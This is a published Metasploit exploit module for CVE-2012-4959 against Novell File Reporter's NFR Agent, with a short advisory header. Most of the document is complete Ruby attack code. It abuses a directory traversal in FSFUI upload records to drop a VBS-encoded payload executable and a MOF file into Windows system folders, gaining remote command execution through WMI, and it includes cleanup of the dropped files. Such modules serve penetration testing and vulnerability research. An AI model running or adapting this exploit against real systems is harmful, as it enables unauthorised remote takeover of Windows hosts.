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NFR Agent FSFUI Record File Upload Remote Command Execution

NFR Agent FSFUI Record File Upload Remote Command Execution
Posted Nov 16, 2012
Authored by juan vazquez | Site metasploit.com

NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload arbitrary files via a directory traversal while handling requests to /FSF/CMD with FSFUI records with UICMD 130. This Metasploit module has been tested successfully against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).

tags | exploit, remote, arbitrary
advisories | CVE-2012-4959
MD5 | c168ac888fdbda2c88f9ab9a652a0a13

NFR Agent FSFUI Record File Upload Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

def initialize(info = {})
super(update_info(info,
'Name' => 'NFR Agent FSFUI Record File Upload RCE',
'Description' => %q{
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
arbitrary files via a directory traversal while handling requests to /FSF/CMD with
FSFUI records with UICMD 130. This module has been tested successfully against NFR
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
},
'License' => MSF_LICENSE,
'Author' =>
[
'juan vazquez'
],
'References' =>
[
[ 'CVE', 'CVE-2012-4959'],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'WfsDelay' => 20
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 16 2012'))

register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptInt.new('DEPTH', [true, 'Traversal depth', 6])
], self.class)

end

def on_new_session(client)

return if not @var_mof_name
return if not @var_vbs_name

if client.type != "meterpreter"
print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
print_error("The following files must be removed manually:")
print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
return # That's it
end

# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

begin
print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
windir = client.fs.file.expand_path("%WINDIR%")
client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
cmd = "#{windir}\\system32\\attrib.exe -r " +
"#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
client.sys.process.execute(cmd, nil, {'Hidden' => true })
client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end

end

def peer
"#{rhost}:#{rport}"
end

def exploit

# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@var_mof_name = rand_text_alpha(rand(5)+5)
@var_vbs_name = rand_text_alpha(rand(5)+5)

print_status("Encoding payload into VBS...")
payload = generate_payload_exe
vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

print_status("Generating VBS file...")
mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")

print_status("#{peer} - Uploading the VBS file")
worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
unless worked
fail_with(Failure::NotVulnerable, "Failed to upload the file")
end

print_status("#{peer} - Uploading the MOF file")
upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
end

def upload_file(filename, content)
traversal = "..\\" * datastore['DEPTH']
traversal << filename

record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
message = md5 + record

res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => message,
})

if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
print_warning("#{peer} - File successfully uploaded: #{filename}")
else
print_error("#{peer} - Failed to upload the file")
return false
end

true
end

end

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